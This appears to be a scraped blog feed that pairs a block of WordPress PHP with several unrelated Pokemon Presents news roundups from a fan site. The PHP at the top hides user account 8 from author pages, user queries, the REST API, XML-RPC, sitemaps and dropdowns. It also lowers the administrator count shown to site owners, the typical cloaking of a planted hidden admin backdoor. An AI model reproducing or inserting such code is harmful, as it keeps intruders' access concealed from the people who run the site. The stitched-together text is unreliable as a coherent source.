add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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]]>So without further ado, what was announced on Pokemon Day 2026?
No need to beat around the bush: the biggest announcement was the 10th generation of Pokemon games: Pokemon Winds and Pokemon Waves. These new games will be available for the Nintendo Switch 2 in 2027, and will be set in a new, tropical region (with two new Pikachu in vacation outfits to match).

The announcement also included the new starter Pokemon: the grass-type Browt, fire-type Pombon, and water-type Gecqua.

You can watch the trailer for the new games online:
Pokemon Champions, which was revealed during an earlier Pokemon Day, has an update as well. The upcoming game will arrive on Nintendo Switch devices in April 2026, with the mobile version coming later this year.
Additionally, players will receive a free Dragonite with its Mega Stone as an early download bonus. Players who store Chesnaught, Delphox, Greninja, and the Eternal Flower Floette from Pokemon Legends: Z-A will also receive the Mega Stones for those Pokemon.
Pokemon FireRed and LeafGreen released for the Nintendo DS in 2004, remaking and updating the original games that started it all. Earlier this week, Nintendo revealed that they’d be receiving a virtual port on the Nintendo Switch, and now they’re available for all.
There are also plans to update the games with Pokemon Home compatibility, although the transfer will be one-way only. Still, it provides players a way to experience the old games again and bring their Pokemon with them into the future, including the upcoming Pokemon Champions.
The upcoming Pokemon Pokopia game also received a new trailer. This revealed a new Rotom form, titled DJ Rotom, along with a cooking Greedent called Chef Dente. Pokemon Pokopia will arrive on the Switch 2 on March 5, 2026.
Along with the new games, there’s plenty of new updates, merchandise, and other news to share. This includes:
You can catch the entire Pokemon Presents video online and get all the news for Pokemon in 2026, as the franchise celebrates its 30th anniversary:
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]]>Pokemon battles have always been a major part of the series, with world championship games bringing players around the world together to see who really is the very best (like no one ever was). The newly-announced Pokemon Champions is built for battling, giving players the ability to connect and battle with other players in a new way.
Pokemon Champions is Pokemon Home compatible, allowing players to use Pokemon they’ve raised and trained in previous games. The game is also available on both mobile devices and Nintendo Switch.
Most notably, the trailer demonstrated both Mega Evolution and Terrestalization, indicating that special mechanics from multiple generations of games will be an option.
While Pokemon Legends: Z-A was announced in a previous Pokemon Presents, the new Pokemon Presents gave us more information on the upcoming game.
Set in Lumiose City during its urban redevelopment, Legends: Z-A has the players explore Wild Zones and the city to meet and train Pokemon. Players will stay at Hotel Z as their base of operations, run by a man named AZ and his partner, an unusual Floette. Players of Pokemon X and Y versions will recognize AZ and his Floette, as well as their tragic backstory of loss and destruction.
Players get their choice of starter Pokemon from Chikorita, Tepig, and Totodile. Legends Z-A also brings back Mega Evolution, a power-up for certain Pokemon that was a unique battle mechanic in the sixth generation of games.


Most notably, Pokemon Legends: Z-A switches battles from turn-based to real-time. Trainers and their Pokemon move around during the battle, making timing and positioning key for landing hits and swapping out Pokemon
While Pokemon Champions and Legends: Z-A were the big announcements, they weren’t the only ones. Pokemon Presents also included:
You can catch the entire Pokemon Presents on the Pokemon YouTube channel:
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When “Pokemon X and Y” versions were released, it was a common assumption that its inevitable third game would be “Pokemon Z.” However, that game never came to be… until now.
Following up on the success of “Pokemon Legends: Arceus,” The Pokemon Company announced the release of “Pokemon Legends: Z-A.” This game is set in the Kalos region (from the 6th generation games), with a trailer showcasing the development of Lumiose City. While details are scarce, the Mega Evolution symbol appearing at the end of the trailer indicates that the popular battle mechanic will be returning, while the title and color pattern on the Z indicate that the legendary Pokemon Zygarde will play a role.
“Pokemon Legends: Z-A” will be released worldwide in 2025.

The Pokemon Trading Card Game (TCG) has been a major part of the franchise since its early days. While the game does see online play, it’s now getting a new mobile release with “Pokemon Trading Card Game Pocket.”
This new mobile game allows players to open packs, collect and trade cards, and play against their friends remotely. It also features immersive art for many of the cards, giving players a closer look at the artwork. The video announced that players will get two free packs per day (although it’s a safe assumption that players can buy more via microtransactions).
“Pokemon Trading Card Game Pocket” releases later this year.
While those two games were the biggest announcements, they weren’t the only ones. Other Pokemon Day announcements include:

With all these announcements, Pokemon players will have plenty to look forward to, whether they enjoy the video games on the Nintendo Switch, mobile games, or card games. You can catch the whole presentation below and see what Pokemon has in store:
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]]>The sequel to the Detective Pikachu game was first announced during the recent Nintendo Direct. Now, we’re given more information about the upcoming Detective Pikachu Returns. This includes a look at all the central characters, the investigation mechanics, and how certain Pokemon can assist in the investigations:
The game will be released October 6th on the Nintendo Switch.
Pokemon Go Fest 2023 is approaching! While London and Osaka have already held their special Go Fest events, with New York quickly approaching, the Pokemon Presents reminded us that the global Go Fest will run from August 26th to 27th.
The mythical Pokemon Diancie will make its Pokemon Go debut, along with its Mega Evolution. Mega Rayquaza will also make its debut, allowing players to participate in Raid Battles to earn Mega Candy. (However, given that Pokemon Go recently doubled the price of Remote Raid Passes and limited the number of Remote Raids players can do per day, players may find it more difficult to join in raids should they have difficulty getting to raid locations or live in an area where there aren’t many players, an issue fans have raised with the hashtag #HearUsNiantic and Niantic has thus far refused to budge on.)
On top of that Pokemon from the Paldea region, where the Scarlet and Violet games are set, will be appearing in the game starting in September. With this, every region from the main series of Pokemon games will be represented in the game, although not all of them will be made available at once (more Pokemon will continue to be made available over time). The full details of which Pokemon will be appearing first have not been revealed, but you can see the trailer below:
Pokemon Unite is celebrating its 2nd anniversary with several new announcements:
Players can also receive 3-day limited licenses for Mew and Mewtwo, as well as boost emblems for both, with the gift code 2NDANNIVERSARY.
Pokemon Masters EX is getting a new character for its fourth anniversary, with the addition of Nemona and Pawmot from Pokemon Scarlet and Violet. This also adds a new role to the game: Sprint Role, which focuses on speed. The new event introducing her has begun now. Players can also receive new log-in bonuses and join event battles against Nemona starting August 9th:
On August 16th, the game will also add a new synch pair of Victor (from Pokemon Sword and Shield) and Spectrier, with the new Field Role effect.
Pokemon Masters EX players can also receive 3,000 gems by logging in now.
The classic Game Boy Color game for the Pokemon Trading Card Game is coming to the Nintendo Switch. While the game has been re-released before on the Nintendo 3DS eShop, the eShop’s closure meant it was out of reach for many players. Now, it’s available on Nintendo Switch Online.
On top of that, Pokemon Stadium 2 is also coming to the Nintendo Switch Online. This Nintendo 64 game includes Pokemon from the Gold and Silver games, as well as several mini-games for up to four players, featuring the 2nd generation Pokemon.
Like the last Pokemon Stadium release on the Nintendo Switch Online, players will not be able to import Pokemon from their games (including games purchased on the eShop or Heart Gold and Soul Silver), but they can still battle using rental teams from the game. It’s available now for users who purchased the Nintendo 64 expansion pack.

The Pokemon Presents included snippets and introductions for new animated specials and the latest Pokemon anime:
The Pokemon Scarlet and Violet games are getting their DLC update soon, and The Pokemon Company has plenty of news to share.
First, Mewtwo and Mew are making their Scarlet and Violet debut. Mewtwo will be available in a 7-star Tera Raid battle starting September 1st. Players can work together to challenge Mewtwo and attempt to capture it. In preparation, Pokemon Scarlet and Violet will also include extra Tera Raid Battle events from tomorrow until Mewtwo’s arrival.
On top of that, players can get Mew for free, right now, using the Mystery Gift code GETY0URMEW. Each Mew will have a randomized Tera Type, nature, and moveset, although the password can only be used once, so once you get it, that’s the Tera Type you’ve got (unless you use an item to change it). The event will run until September 18th.
There will also be new Mass Outbreak events, wherein certain Pokemon will appear in much greater numbers across Paldea than usual. The first Mass Outbreak event will be a Clefairy event, starting on September 28th.
Finally, The Pokemon Company revealed new information about the upcoming DLC, including a brand-new trailer showing off new characters, Pokemon, and scenes from the game:
In addition to the previously-announced story, “The Teal Mask” DLC also introduces new mini-games, including a photography game, and the “Ogre Oustin’” mini-game where players run down balloons shaped like the Pokemon Ogerpon. Players can win mochi, which can be used to boost or reset effort values for their Pokemon’s stats.
We also got new information about “The Indigo Disk,” including Blueberry Academy’s Elite Four, and new battle styles (including the return of Double Battles).
“The Teal Mask” will be released September 1, 2023, with “The Indigo Disk” following this Winter.
Along with the DLC comes several new Pokemon, including new evolutions and paradox versions of existing Pokemon:
Dipplin, a new candy apple-themed evolution of Applin:

Arcahludon, a bridge-shaped evolution of the steel/dragon-type Duraludon:

Two new Paradox Pokemon: Raging Bolt, a prehistoric take on Raikou which resembles a long-necked dinosaur, and Iron Crown, a mechanical version of Cobalion. More information on these Pokemon is not yet available.


You can catch the entire Pokemon Presents below:
What new games, updates, and Pokemon are you looking forward to? Let us know in the comments below and keep an eye out for more exciting news on G33k-HQ!
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